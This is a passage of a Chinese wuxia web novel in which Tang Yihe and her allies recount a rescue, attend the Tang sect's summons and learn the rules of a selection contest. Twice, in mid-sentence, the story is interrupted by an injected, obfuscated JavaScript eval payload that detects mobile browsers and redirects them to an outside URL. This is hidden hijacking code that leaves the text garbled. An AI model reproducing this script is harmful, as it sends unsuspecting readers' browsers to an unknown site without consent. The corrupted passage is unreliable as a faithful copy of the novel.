“额头为什么这么大力,都快擦破皮了。”高文璟绞干毛巾,递给唐一禾,“可以了,收拾一下,我送你回万安药铺,看看那边什么情况。” “老色胚唐司南,亲了我额头,我当时又不能打他。”唐一禾接过毛巾兜头罩脸一通擦,恨恨地说,“呃,当然我也打不过他,我呸呸呸。” “他亲的是陆曼娘,与你何干?”高文璟非常会宽慰人,“唐司南的武功确实练得不差,不然也不能轻易号令制部上下数千人。你与他年岁差了近一半,现在打不过他很正常。” 高文璟顿了顿,还是忍不住问了一句:“那他是怎么发觉,你不是陆曼娘的?” 16.扮猪吃虎 “一开始是手,你看,真的不一样,但被我胡言乱语蒙混了过去。后来他又要来亲我脖颈,发现我耳朵后面没有红痣,这才确认的。”唐一禾一边伸出手,一边忍不住抱怨,“你说这二人肯定耳鬓厮磨几多回了,我一个假货哪知道,晦气晦气,以后再也不搅合,这男女之事了。” 高文璟哑然失笑,不再探问,话题一转:“陆曼娘你不用担心,不出意外的话,她这会应该在岷江上了。我的船在长江水道上走过无数回,不会有差池,另外我已经安排人手送他们到扬州,安顿好后自会回来复命。” “那真的太好了,烈风那边你接应上了吗?你怎么会想到过来给我解围的?”缓过劲来的唐一禾,开始急吼吼发问。 “我过来的时候,烈风尚未有消息。”高文璟摆手让唐一禾不用管换下的衣饰,从书案的抽屉里掏出一根翠玉簪子,递了过去,“白术带着陆曼娘先到的,还未下马车,白术就请我来接应你,说见到唐司南过去了。我急忙赶过来,先解决了西南角的盯梢,包围的人太多,费了点时间,还好不算太迟。” 唐一禾诧异地看着高文璟递过来的玉簪,温润如一汪碧水,晶莹剔透,心知这玩意可不便宜,迟疑着没接。只听高文璟淡淡地说:“你头上的金钗容易露馅儿,也不好看,扔了吧,这跟玉簪你先用着,回头还我便是。” 对对对,文璟果然心细如发。唐一禾拔下金钗,摒弃了收到怀中的想法,果断扔到桌下的废纸篓里,然后接过玉簪插入发束中:“文璟师兄,那你跟唐司南,抡圆了胳膊打,谁的胜面大一些?” “叫我文璟吧。我跟他五五开,不过今晚他心神不定,我一上来又没有留手,开始他就吃了闷亏,之后我又得你帮衬,他应该是受了内伤。”高文璟语调还是淡淡的,“这个玉簪更称你,喜欢的话留着用也行。走吧,别让烈风、白术等太久。” 二人回到万安药铺的时候,已是子时三刻,果然君白术已经急得地在屋里团团转,见到是唐一禾二人,又伸长脖子往外看:“烈风不听劝阻,非要再去接应,结果你们回来了,他还没回。” 君白术扯住又要往外跑的唐一禾:“你给我坐下,再出幺蛾子,烈风能把我皮扒了,你不知道他走之前有多可怕。” 三人坐下开始等唐烈风,高文璟三言两语说清了这边的情况,君白术一边帮二人拿脉,一边开启话痨模式,絮絮地说了码头接应的人有多妥帖,安排的舱房有多舒适,唐烈风拿来的银票匣子有多重,唐烈风知道唐司南去了陆府有多阴沉,他拦不住那头犟驴有多委屈…… “你是说师弟他拿来了一个银票匣子?”唐一禾惊讶地问,“里面有多少银子,你看了吗?” “没来得及打开看,就见烈风把匣子往曼娘怀里一塞,沉得她都快抱不住了。”君白术收回切脉的手,饶有趣味地看向唐一禾,“今晚你可是累坏了,脉象都弱了,倒是没有受伤,快快快,给我详细讲讲,你是怎么成功拖住唐司南的?他那么精明的一个人,足足被你耍了一个多时辰。” 唐一禾露出嫌腻的神色,吊人胃口地说:“这个故事,值二百两,不不不,五百两。” “我给你一千两。”高文璟插话,“唐司南说的话,一个字都不要少。” “成交。”唐一禾喜孜孜地将银票揣进兜里,开始仔细回想唐司南自进屋后说的每一个字,等讲到唐司南看到金钗的时候,唐烈风总算一脸阴沉地回来了。 唐一禾刚站起来,要去询问师弟的情况,就被君白术一把摁住:“你接着讲,我来看他有没有受伤。” 君白术走过去不由分说,一把抓过唐烈风的手腕将他拖到桌子旁,按在剩余的那张圆凳上,飞快地切了一下脉:“他好得很,你快讲啊,一个字都不要少。” 唐一禾朝师弟点点头,看到他明显松了一口气的神情后,转头继续开始“说书”,唐烈风从进门到现在,愣是一个字没说出口,就被迫加入了听戏的行列。唐一禾记性极佳,将假陆曼娘与唐司南的对手戏,复述得一字不漏,只是这个经历谈不上美妙。 唐一禾一边讲一边龇牙咧嘴,表示恶心和肉麻,其他三人脸上的表情也很丰富。君白术与唐一禾的表情神同步,该撇嘴时撇嘴,该皱眉时皱眉,该唾弃时唾弃,当唐一禾讲到最后喊出那句“司南哥哥”时,君神医掐住了自己的虎口,脸上一副便秘的表情,愣是没发出一丝声响,生怕影响了唐一禾的发挥。 高文璟全程凝神静听,尤其听到唐司南带着炫耀之心,向假陆曼娘讲述的那些生意场上的龌蹉、宗门内部的阴私时,脸上难得露出了慎重之色。 唐烈风则一直紧锁眉头,脸上像被寒冰封冻,眼神中也透着冷意。 最后,唐一禾终于讲到高文璟前来接应,然后一摊手、耸耸肩:“就这样咯,之后就是文璟刚说的,他救出我,先去他的住所撤下伪装,然后换成这样就回来了。” “我觉得你以后可以去说书。”君白术意犹未尽地说,“自己编自己讲,肯定红遍大江南北。” “来吧,付钱,五百两。”唐一禾对君白术伸出手掌。 “他不是付过了吗?”君白术不肯,指着高文璟说。 “他是他的价钱,你是你的价钱。”唐一禾的账算得很清。 “凭什么他的价钱比我贵,我也要出一千两。”君神医的脑回路果然清奇。 高文璟扶额,心道此子与楚玉有得一拼,果然卧龙凤雏,从不单出。“一禾师妹,你至始至终,都没有用过自己的原声,包括被他点破身份,还是用的陆曼娘的声音吗?”高文璟轻轻叩着桌面问。 唐一禾点点头:“对呢,明天就是唐门令期限截止,我想着肯定要与唐少阁主正式碰面,还是能不用真声,就不用吧。”唐一禾想了想,接着又说,“白术的易容术如此高超,只要我们不交手,应该是能瞒上一段时间的。倒是文璟你,今晚也跟他动了手,后续怕是有麻烦。” “今晚我用的本门功夫,之后再交手,我用唐门心法就是,他认不出来。”高文璟毫不避讳地说,“若出了蜀地,就算他认出我来,又有何妨?” “所以我们帮你保守秘密,也是出了蜀地,就不做数了吗?”唐一禾很会抓重点,同时朝君白术看了一眼——现在四人已经算是达成了初步信任,可以不避讳地分享一点秘密了。 “那是自然。”高文璟不在意地说。 唐烈风仿佛没听到他们的谈话一般,沉默半晌,突然抬头问了一句:“文璟你赶到的时候,唐司南是已经戴上了他的银色手套了吗?” 见高文璟点头,唐烈风的眉头皱得更紧:“就是说,他当时并不知道你的存在,就掏出了本门武器,他是动了真火,要至你于死地吗?”最后的问句,当然问的是唐一禾。 唐一禾觉得后脖颈有点发凉,不敢去看师弟的眼睛,更不敢说当时已经吓得发抖了:“我觉得他可能是恼羞成怒,要吓唬我一下。” “那你刚才说的银色手套上的尖刺,是用来吓唬人的,还是觉得好看?”唐烈风的脸色更加不善。 “那我也没办法啊,我尽力了。”唐一禾有点不服气。 “你叮嘱我,万事保全自己为上。”唐烈风并没有罢休的意思,“但你是怎么做的?你可以借口去老陆夫人那取点针线,女子出嫁不都要缝点什么东西吗?或者你说要出恭都可以,他总不能跟着你去吧?你真一心要跑,还能跑不出去?” 唐烈风从来没有一口气说过那么多话,说完后神色激动,胸脯还有点起伏。 唐一禾自恃师姐身份,觉得有点下面子:“你是说,把人家老陆夫人也拉下水吗?还有,哪个好人出恭要一个时辰?万一唐司南那王八蛋起了疑心,派人追踪又或是搜查码头,我们不就前功尽弃了吗?” “你管好你自己的性命,再去担心其他人,行不行?”唐烈风眼角有点泛红。 眼见同门起了内讧,高文璟非常识趣地告辞,然后君白术非要相送,两人一前一后地跑没了影。 见只剩下师姐弟二人,唐一禾也不硬气了,马上开始哄这头小犟驴:“师姐错了错了,绝没有下次,我给你看个好东西,全天下我不给第二个人看,刚才他俩在,我就不说。” “你不许骗我。”唐烈风虽然还有点生气,但他从小就吃这一套,百试百灵。 唐一禾摸了摸他的光亮黑发:“顺顺毛,不许生气了。走,回房给你看。” 唐一禾拽起师弟往厢房里拖,确定左右无人后,才小心翼翼地掏出陆曼娘的临别赠礼——一个正方形的小盒子。她用力打开之后,只见紫色的绒布上躺着一把怪模怪样的钥匙,黑色晶石所制,看着不太结实的样子,四面卡槽,八面棱柱,小小一只,精细无比。 二人面面相觑,也不知道这是个啥玩意,唐一禾只得小心翼翼地放回,再塞回内兜。然后伸腿捅了捅唐烈风,打了个哈欠问:“白术告诉我,你打算把曼娘二叔那边的人,全杀了,老实交代,你杀了几个?” “白术的话你也信,你不是说他是个神经?”唐烈风瞪了唐一禾一眼,“自幼得良师开蒙,不敢伤一人性命。” “乖徒乖徒。”唐一禾笑眯眯的说,“那你是如何做的?” “厨房准备夕食的时候,往水缸里放了一把迷魂散,掐准时间从堂屋天井翻进去,人基本是齐的,没晕的敲晕,晕了的补脚,然后搜罗了一圈暗格秘橱,倒是真不少,最后找了个趁手的书画匣子,把银票和金条塞了进去,送去给了陆曼娘。”唐烈风又补充了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535536|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句,“珠宝珊瑚如意之类的,打了个包,喏,搁墙角那呢,地契字据之类的要经官府,拿来也无用,直接烧了。” 唐一禾都听精神了,竖起了大拇指:“乖乖,你很有天分啊,这事儿办得漂亮!给曼娘的银票,你有数吗?” “没仔细数,几万两是有的吧,也可能更多。”唐烈风微微抿了下嘴唇,看向唐一禾脑袋顶,“你拿走的不是一根金钗吗?怎么变成了玉簪?” “你帮我看看,这个玉簪子是不是很值钱?”唐一禾不答反问,随手将玉簪拔下来,递给师弟看,“从文璟那拿的,他说金钗容易露馅儿。” “看着很贵重,改日还给文璟师兄吧。”唐烈风也不懂,虽然感激高文璟救了师姐,但潜意识里还是不想师姐戴他给的饰物。 “行吧,我也觉得拿人的东西不好。”唐一禾说这话的时候眼皮跳了一下,眼角扫了一下墙角那一大包,确实不好,那也不退。 两人又头碰头地说了一会话,才各自梳洗睡去,为明日的唐家堡之行养精蓄锐。 第二日,唐家堡山门外。 换回女装并认真梳妆打扮一番的唐一禾,带着同样捯饬修整过的唐烈风,并排而立,耐心地等待——二人的令牌和帖子已经递进去了,就等消息了。 一阵轻巧的脚步声后,山门打开,一名清丽淡雅的女子面带微笑地说:“原来是经部的师妹师弟来了啊,有失远迎,有失远迎。我是代掌门座下弟子,唐丽娟,虚长几岁,你们可以唤我丽娟师姐。师傅他老人家今日要主持唐门令召集大会,不能亲自前来,所以命我务必热情款待,二位请这边走。” 唐一禾听大师兄提过,代掌门唐至霖亲传弟子九人,大师兄也就是少阁主唐司南,昨晚已经见识过了。二师兄唐方觉是个武痴,沉迷于修炼,不参与任何俗务。三师姐就是唐丽娟了,武功修为既高,人又温和周到,制部上下的师弟师妹无人不喜欢她,甚至连其他几部的人提到她,都是交口称赞。 今日一见,果然礼仪周到,态度亲切又不过分热忱,给人如沐春风之感。唐一禾又去回想曾经翻过的弟子名牒,代掌门其他的亲传弟子姓名,实在是记不起来一个,只怪从洛川出来得太匆忙,没顾上拿那些名册。唐一禾暗暗提醒自己,一会正式介绍时,务必要认真记了,不然就跟在擂台上那样,连关门弟子唐楚玉站到了眼前,都没有认出来。 唐丽娟在前面引路,步履轻快,衣诀翻飞,声音也是柔和好听:“二位是刚到罗城吗?” “到了几日了,路上耽搁了一点时间,来了又水土不服,身体抱恙,所以未能提前拜会师长。”唐一禾谨慎地回答。 “那现在师妹身体如何?山中有医者,可请来帮师妹瞧瞧?”唐丽娟伫足回首,秀目中透着关切。 “已经好多了,不劳师姐费心。”唐一禾报以微笑。 唐丽娟嗯了一声,继续往前走:“二位也是第一次来唐家堡吧?之前都只见得司雅师兄来去匆匆,至青师伯更是多年未见了。嗯,师伯他老人家的身体,是否调养得康健了?” 唐一禾心里咯噔一声,心想刺探来得好快,师傅去世本是秘不发丧,山中不过跑了几个哑仆,就已经捂不住了:“师傅已经驾鹤西去了,此番我跟师弟二人过来,也是报丧来着。” 听到这个消息的代掌门唐至霖,脸上的悲痛不像演的,他声音颤抖地将这个消息公布于众时,还上演了一出猛男落泪。 当然,大厅中并没有那么多有天赋的演员,上百号唐门各部头脸弟子中,只有不到一半表演了难过,大部分都只是露出惊讶之色,以及发出声声叹息。毕竟经部唐至青阁主缠绵病榻多年,久不露面,又是出了名的桀骜难搞,眼下唐门令在即,在场众人只怕更多的是松了一口气,所以在看向唐一禾二人的眼神中,也多了几分玩味。 唐门令,顾名思义,就是唐门掌门发出的号令,一般是在唐门遭遇外敌入侵或者其他危机的时候,召集所有唐门弟子共御外敌,共度时艰。还有一种情况,就是宗门无事但掌门有事,这种情况一般是好事,掌门不会轻易发出唐门令,除非是要传承衣钵或有其他安排,回报不用想,必然丰厚无比。 至于唐门老祖唐川之,那是天人一般的存在,三十年前就已纵横四海、天下无敌,更有传言朱公宝库就是他封的大门,所以应他所令、慕名而来的唐门弟子,有如过江之鲫。 代掌门唐至霖擦擦眼角早已干涸的泪渍,再次翻看了经部阁主之印,然后对唐一禾和颜悦色地说:“既然至青师兄,已将阁主之位传给一禾师侄,那……” “没传给我,只是代阁主,跟您一样。”唐一禾用生硬且天真的语气,打断了代掌门唐至霖,“大师兄回来后,当然他才是阁主。” 17.初生牛犊 挤挤挨挨上百号人的大厅顿时鸦雀无声。 尽管唐至霖的涵养功夫不错,还是让众人看到了,他僵在脸上的尴尬之色:“那,司雅师侄因何事,未能前来?” 大厅静得连一根针掉地上都能听见,连呼吸之声都听不到了。 唐司雅在唐门上下名气极大,是宗门历史上第一个在不到弱冠之年将“九转心经”练到第八层的。而且他在毒药炼制上也极有天赋,改进并研制了不少毒方,唐一禾身上带的用的解毒丹、避毒丸,也都出自他之手。 尽管这些年唐门年轻弟子中也涌现出不少天才之辈,但在多次宗门内部考核试练中,唐司雅都毫无意外稳居第一,再加上经部弟子稀少以及唐至青的极度偏爱,唐司雅在所有弟子心中,已经等同于经部阁主了。 唐一禾自然也是这么想,她背靠大树好乘凉。结果去岁冬日,大师兄毫无征兆的失踪了,没有留下只言片语,与他素来细致周到的性格极为不符。师傅爱徒心切,忍着伤病出山找了几圈,毫无所获反而引发旧疾,回来后加剧咳血,这才溘然长逝。 唐一禾一直等到所有人都忍不住要换气了,才直愣愣且理所当然地说:“大师兄娶了新妇,去西北回门了,过得一段时间自然就回来了。” 此话一出,不啻于平湖惊雷。 众人不论面上如何表现,心里无一例外炸开了锅。知道点内情的,脑子转冒了烟,飞快地在心中盘算此言的真假虚实。不知内情的则暗暗感慨,是什么样的女子能让唐司雅心折,把唐门令都置之脑后?更多的唐门女弟子则心碎了一地,俊逸如仙、温润如玉的司雅师兄,竟然不声不响娶了妻,真是让人怅惘非常。 但不管众人如何揣度,唐一禾只用了两句话,就让所有人绝了跟她说话的念想——这样一个愣头青,竟然也能当上代阁主,其他三个阁主还不得呕死,那就看她能走多远了。至于她身边那个跟班,更是一只锯嘴葫芦,白长了一副好皮囊。 所有人自然除了唐楚玉。 他饶有兴趣地看唐一禾装傻充愣,然后成功地让所有人闭了嘴。但看她的样子,应该也是察觉到了什么,所以她的话究竟是信口开河、虚张声势,还是故布疑阵、掩人耳目呢?唐楚玉也有些吃不准了,心想要是文璟这会儿在就好了,他被陇北的密信绊住了,晚一点才能上得山来。 此外知道唐一禾底细的,就是式部长老唐至远以及他的徒孙唐寰宇了。二人与唐一禾在郊外客栈曾并肩作战,击退了“鬼面夫妇”,见识过她的机智狡黠,此时众目睽睽之际,也不好冒然相认,想着晚上得空了,再去拜会攀谈。 唐一禾的回答是她深思熟虑后的结果,她也获得了她想要的信息。跟她预想的一样,大师兄的失踪绝不是偶然,一定与制部和器部脱不了干系,搞不好式部也参与其中,谁让经部的禁制之术这么让人忌恨呢? 唐门掌门为控制权力日益膨胀的阁主,会在他们身上种下禁制之术,没有解药的话。每个月圆之夜发作一次,受万蚁噬心之苦,一年之后药石无医。经部阁主身为掌门最信任的人,掌握着禁制之术的解药及解除之法,所以经部人虽少却地位极高,与其他三位阁主形成微妙的制衡。 上山的路上,唐一禾在察觉唐丽娟的试探时,也领会了她的好意提点。因为她只问了师傅,没有问司雅师兄,这就很不寻常。易地而处,看到经部来参加唐门令的是两个未曾见过的少年,正常的反应不该是先问司雅师兄为何没来?唐丽娟作为门面担当,出了名的细致周全,她不会犯这样的错误,所以她是故意的,故意告诉她们——她知道司雅师兄来不了。 所以唐一禾一直等着代掌门唐至霖的发问,而且准备好了回答——一个出其不意而又有迹可循的回答。 大师兄失踪前,房间里多了一些明显带有西域特色的物件,比如手工编织挂毯、香薰香料、羊脂玉石等,唐一禾原不在意,想着是与某西域商旅接触往来所购。后来大师兄突然失踪,唐一禾仔细去翻过大师兄的房间,依稀察觉出一个女子的存在。自古经部多情种,会不会就是那名女子将大师兄拐走了呢? 唐一禾先是故意拖延、暗中观察,然后在故作笃定、给出劲爆回答的同时,从代掌门唐至霖眼中看到了明显的不信、以及一闪而过的迟疑,他甚至跟器部阁主唐至雄快速对视了一眼,这让唐一禾更坚信了自己的判断,以及更坚定了扮猪吃虎的策略。 在唐门令的节点,经部阁主仙逝、大师兄缺席,唐一禾二人无疑会成为众矢之的。二人年岁太小,又无甚名头事迹,突然冒出来挡路,姑且不论有几分本事,一定是要被人当作眼中钉拔掉的。只是对付经部的人,从来不会明目张胆,万一落下什么把柄,被唐门老祖知道,后果不堪设想。 深谙这一点的唐一禾,刻意眼神涣散地吃吃喝喝,她与师弟已将气息敛得极紧,只要不是境界远在其上的,无法看透二人武功修为,只能看到两个拾掇得过份隆重的乡下人,一个埋头苦吃,一个呆若木鸡。 当唐一禾吃到第四个红糖粑粑时,代掌门唐至霖轻敲酒杯,示意众人安静:“现在有请长老院秀凤大长老,传达老祖号令。” 唐一禾转头,见到厅首不知什么时候立了一个身着青衣、满脸阴鸷的老者,刚想跟师弟交头接耳一句,发现整个空间都像被按下了静音器一样,这可是连代掌门说话都达不到的效果。 “选拔一共三场,明日第一场,凡唐门弟子,三十岁以下,不分内外门,上午经长老院长老考量后,持牌进入演武场。下午在演武场拿到玉牌者,为第一场胜出者。”秀凤大长老言简意赅,声音低哑,说完后也没有一个人发出疑问,虽然唐一禾很想问问规则细节,但在这位老者的威压下,她还是很识趣地保持缄默。 老者鹰隼般扫视了一圈大厅,视线扫过唐一禾身上时,她感觉压抑的气息都要鼓噪起来,只得强行散掉瞳距,不去跟这位老者对视。见大家都安静如鸡,老者也很满意,拍拍手:“散会吧。” 秀凤大长老的消失和他的出现一样突然,他的身影消失了半晌,才有人开始窃窃私语。 “你听明白了吗?” “没有。难道你听明白了?” “当然没有,那你咋不问呢?” “你怎么不问?你怎么好意思问我怎么不问?你怎么不问你自己为什么不问?” “这不是,不想下巴上多个窟窿嘛。” “那你是想看我下巴上多个窟窿?” “哎呀,别激动嘛,秀凤大长老谁敢惹,惹阎王还能等到三更死,惹‘大凤凰’就是立等死。” …… 唐一禾庆幸自己没有当那出头的鸟。 经部因为人数少,在唐家堡没有单独的山峰,只在主峰的半山腰上有一处小院,名叫揽翠阁,由长老院安排人打扫维护。唐门除了四部之外,在掌门之下还设有长老院,共有十名大长老,主要负责武艺考量、门规监察、以及纠纷调停等事务。大长老是由历任掌门亲自挑选委任,一旦任职终身聘用,不出意外的话,走一个才能补一个,所以部分大长老的资历,比现任掌门还要深厚。 唐一禾没听过大师兄说过多少门中之事,还好有主动送上门的“百事通”可以问。唐一禾跟师弟刚回到揽翠阁,就有仆从递上拜贴,说制部唐阁主第九位亲传弟子唐楚玉、制部内门弟子高文璟求见。 “你倒是不避嫌,来得好快。”坐在正厅上首的唐一禾微笑着说,请二人左右落座。 “你怎么不做议事厅里的那副鬼样子了?”唐楚玉风度翩翩掀袍就坐,毫不介意地说,“我是出了名的云游多、交际广,第一个来你这揽翠阁,本属正常。” “我要不那样,议事厅里少不得一番应酬交际,言多必失,而且也轮不到你第一个来了。”唐一禾懒得绕圈子,直奔主题,“给我说说,明日第一场的规则呗。” “你先把你头上那一圈珠花摘掉,真的太丑了,还有烈风,这个颜色的外袍以后别穿了,跟个葱似的。”唐楚玉嫌弃万分地看着二人,突然闪了舌头似地顿了一下,“你们不会,真的觉得好看吧?” “不好看吗?多么花团锦簇,翠玉青竹啊!”唐一禾耸耸肩,笑着说,“文璟,你说是不是?” 高文璟瞥了一眼,还好那一团花团锦簇里,没有自己送出的青玉簪,但仍然无法昧着良心说好看:“不过皮囊外饰,你们开心就好。” “哈哈哈哈,竟然把文璟逼成这样!”唐楚玉笑得前仰后合,“一根稻谷,你是第一个敢问他好不好看的女子,哈哈哈哈。” 高文璟淡淡地说:“楚玉,你再不说正事,明天我一定把你推到秀凤大长老那条道上去。” 唐楚玉马上收了笑:“不要说这么可怕的事儿嘛,伤感情。”他喝了口茶水,又开始嫌弃这个春茶炒制得不好,还想再啰嗦几句,看到高文璟和唐一禾不约而同斜睨过来的眼神,马上清了清嗓子:“选拔规则是老祖定的,我跟你们知道的也差不多呀。哎呀呀,就是大伙儿分成十组,分别接受十位大长老的考量,确认练的是正宗唐门功夫,不是奸细就行。” 唐楚玉看了一眼高文璟,继续往下说:“当然功夫也不能练得太差,大长老会根据功夫好坏给通关木牌。木牌漆了五种颜色,分别是紫、红、黄、绿、白,分别对应上、中上、中、中下、下五等。下午拿到木牌的,就去演武场抢玉牌,一共一百零八块,三炷香时间,拿到玉牌者为胜出。说是不能以一对多,不能伤人性命,不限手段、各凭本事。” “那经部、式部可不就吃了大亏,我们人少啊。”唐一禾意识到不对了,“我要是制、器两部的高手,上来就把人少那两方干趴下,然后就可以瓜分那一百零八块玉牌了啊。” “是啊,谁让你们人少呢。”唐楚玉有点幸灾乐祸,“不过你想到的,老祖自然也会想到。拿到紫色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537437|203360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木牌的不用去抢,一个大长老就一块,自动给一块玉牌。拿到红色木牌的,只要与持同样红色木牌者,胜出一场,也可拿到一块玉牌。如果往下与拿到黄色木牌的打,得赢五场才能换一块玉牌。再往下,对不起,跨两个等级的,不得越界挑战。” 唐一禾想了一下,这个规则倒是合理——能拿到紫牌的肯定是宗门天骄,或者是保送选手,这个她不做妄想。红色木牌倒是可以一拼,然后再挑个弱一点的红牌子打一场,搞个奇袭,保不准就能拿到玉牌了。再往下就得混战了,经部就两根独苗,打完三炷香,不死也得脱层皮。 “十名大长老的考量,是随机还是自己选?”唐一禾马上想到这个。 “自己选哦。”唐楚玉还是那副幸灾乐祸的表情,“十名大长老中,好说话的秀满长老、秀云长老,估计这会儿屋里已经挤满了人,都是去拉关系、套近乎的。不好说话的秀玄大长老、秀善长老,也免不得给三位阁主几分薄面,考量时该松手的时候,自然也会松手。至于‘大凤凰’嘛,没人闲得蛋疼去招惹他。” 唐一禾回想起议事厅里秀凤大长老的气势,觉得所言非虚,但还是不死心地问了一句:“秀凤大长老什么来头?为啥人人都怕他?真的有那么可怕吗?” 唐楚玉想到被“大凤凰”折磨的往事,仍忍不住眉心一跳:“唉,真的就这么可怕,‘大凤凰’辈份极高,算下来是老祖的小师叔了,年轻的时候好心办了坏事,害了一干挚友性命,自那以后就性格大变,看谁都不顺眼了。他当了几十年武艺考量的大长老,被他打得哭爹叫娘的弟子不计其数,全都鼻青脸肿地出来,还有被他训过的弟子心魔难去,直接卷铺盖回家了。” “所以你也被他,打哭过?”唐一禾见缝插针地扎。 唐楚玉压了压眉心,稳住心神:“我那会年纪小,自以为练得不错,结果,哎,不提也罢。这些年‘大凤凰’也不怎么出面了,都让他的大徒弟代劳考量武艺。但你想啊,整个山头都是被他打过的,无一例外,大家心里能不怕吗?” 唐一禾脑补了一下这个画面,拍了一下师弟的胳膊,没忍住笑出了声。 “不说这个了。”唐楚玉暂且把痛苦回忆甩至脑后,然后神秘兮兮地说,“你们知道唐少阁主唐司南,今日为何没有露面吗?真是可惜,没能让你们同时看到‘唐门双绝’的艳艳丰姿。” 唐一禾不受控制地一抖:“这个双绝,难道是指的是,唐司南,和,和……” “不错,正是在下。”唐楚玉很是谦虚地摇了摇手中折扇。 “别扇了,我觉得有点冷,别把我扇感冒了。”唐一禾回想起唐司南的脸,从情深似海到扭曲变形,不由又打了一个冷颤,“他为什么没来?” 唐楚玉压低声音,更加神秘地说:“他昨晚被人打了,还受了伤,你知道是被谁打伤的吗?说出来你们都不信,八竿子打不着的人,都跑来了罗城。” 看到唐一禾、唐烈风、高文璟三人,脸上极其同步地露出震惊和疑惑,唐楚玉的心雀跃到原地起飞——他太享受这种备受期待、与人分享的快乐了。唐楚玉自鸣得意了半天,终于不卖关子了:“就是大名鼎鼎的‘鬼面夫妇’。” 唐一禾和高文璟对视一眼,又与师弟对视一眼,迟疑了一下,小心发问:“如何确定是‘鬼面夫妇’?那对儿不是向来不留活口的吗?” “一男一女,面上都做了乔装,但年岁不大,武功奇高,甩出的银针是‘鬼妇’魏巍常用的暗器,这不是板上钉钉的事儿吗?”唐楚玉很是肯定地说,“之前就听说‘鬼面夫妇’来了蜀地,我还不信,向来只在江东转悠的两人,怎么敢来摸我们老祖的虎须?后来确认了,在阎大花屋里最后出现的黑衣人,正是‘鬼夫’朗琅,想不到他们要对付的,竟然是我们的唐少阁主。” 唐一禾眯了眯眼睛,心道“鬼面夫妇”怎么也卷入了灭门案?而且鬼夫在阎大花屋里杀了人还不走,一直等到她跟唐烈风离开才跟踪截杀?这多少有点让人想不通。 不过现在不是探究这个的时候,唐一禾看了一眼高文璟,眼神里带着催促——把陆曼娘弄走的这个事儿,没必要瞒唐楚玉,况且经手了不少人,终究是瞒不住的。 只见高文璟略一颔首,竟然先对唐一禾开了口:“一禾师妹,我来就是要跟你说一声,船改了航程,不在峡州停靠了,进了长江后一路东下,此时一切顺利,勿要挂怀。” 高文璟扭头对上眼带疑惑的唐楚玉,冷静地说:“打伤唐司南的不是‘鬼面夫妇’,是我、跟一禾师妹。” 唐楚玉瞳孔地震,嘴巴张得能塞下一只鸡蛋。听高文璟道明原委后,他还是半晌没缓过神来,直到他把炒得不好的春茶一饮而尽,唐一禾才终于听到了预料中的怒吼—— “你们这帮混蛋,竟然不叫我!打唐司南那孙子,竟然没有我的份!!我要跟你们绝交,一个个的,全部绝交!!!” 18.长老考量 唐楚玉作势要走,在唐一禾的敷衍挽留下,及时地表达了大度,然后气鼓鼓地坐回了原位,伸出手指将三人一一点过,尤其点到高文璟:“下次有这样的事儿,就算我不在罗城,务必飞鸽传书,我跑断腿也要跑回来,助你们一臂之力。” 高文璟闭眼应了一声,唐一禾刚想点头,碰上唐烈风不善的眼神,马上闭嘴。唐烈风也开了金口,说出了唐楚玉来访后的第一句话:“师姐以身犯险的事儿,不会有下次了。” 唐楚玉哼了一声,不怀好意地说:“下次以身犯险,估计得烈风师弟你去了。” “什么意思?”唐一禾皱眉。 “议事厅上,那器部的唐至雄老匹夫,看了多少次烈风师弟?”唐楚玉挑眉转向唐烈风,“你不会说没感觉到吧?” 唐烈风沉默不语,他当然能够感觉得到,那如同实质的觊觎和窥探,只是他不想说出来,徒增师姐担忧罢了。看来西域神象馆的事情,还没完。 “唐至雄年轻的时候就男女通吃,花样特别多,如今年岁大了,反而只走旱道了。”唐楚玉摇摇头,神色很是复杂地说,“他无妻无子,全部心力都花在了爱徒和爱宠身上,给钱给权都无比大方,器部包括另外两部,多少人都翘首以盼呢。这两年器部的势头隐隐超过了制部,当然也有我们这代掌门格局太小的缘故,他连自己儿子都要戒备三分,谁又会真的给他卖命。” 碰上唐一禾亮晶晶的眼神,唐楚玉没好气地说:“我不是他儿子,传闻是假的。我娘才看不上他呢,娘希匹,就唐司南那孙子信了。一根稻谷,你跟我说实话,我今儿来还带着代掌门的差事,来试探经部的禁制之术,你们两个谁能下、谁能解?” “我能下,我们两个都能解。”唐一禾早有预料,这是师傅临终前唯二传授的东西,另一个是碧螣,“解法不能告诉你,师傅有遗命,要等见到老祖之后,听老祖的安排再说。” “那是自然,探得这个就够了。”唐楚玉想了想,刚准备再问问司雅师兄的事儿,又犹豫了,此事牵扯极大,探子给的消息也不准确,而且唐一禾也未必如表面这般坦诚,那就等等看吧。 …… 第二日,唐一禾带着唐烈风来到后山。 二人都换回了青衣劲装,头发竖紧,混在满山弟子中,总算没那么扎眼。不过唐烈风的脸实在能打,越朴素越突出,就算在几百号的人群中,都能让唐丽娟师姐精准定位到。 “这边,这边!”唐丽娟朝二人招手,让其他人腾出两个软垫,“你们想好找哪个长老了吗?” 唐一禾远眺了一下报名台前排队的人,以及后山上错落有致的试炼室,犹犹豫豫地说:“我倒是想找秀云大长老。女长老,估计没那么严厉吧?” 